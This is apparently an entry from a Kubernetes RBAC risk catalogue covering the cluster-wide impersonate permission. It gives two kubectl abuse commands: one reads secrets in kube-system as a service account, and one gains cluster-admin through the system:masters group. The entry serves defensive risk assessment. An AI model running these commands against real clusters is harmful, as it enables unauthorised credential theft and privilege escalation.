Overview

FieldValue
ID1066
NameImpersonate users, groups, or service accounts (cluster-wide)
Risk CategoryElevation of Privilege
Risk LevelCritical
Role TypeClusterRole
API Groupscore
Resourcesusers, groups, serviceaccounts, userextras, uids
Verbsimpersonate
TagsClusterAdminAccess Impersonation PrivilegeEscalation Spoofing

Description

Allows impersonating any user, group, or service account across the entire cluster via impersonation headers. This can be used to escalate privileges to the level of the impersonated identity, potentially gaining cluster-admin access.

Abuse Scenarios

  1. Impersonate a service account to list secrets in kube-system.
kubectl get secrets -n kube-system --as=system:serviceaccount:kube-system:default
# Example: kubectl get secrets -n kube-system --as=system:serviceaccount:kube-system:kube-controller-manager
  1. Impersonate a user in the ‘system:masters’ group to gain cluster-admin.
kubectl get nodes --as=admin --as-group=system:masters
# Example: kubectl get nodes --as=pwned-admin --as-group=system:masters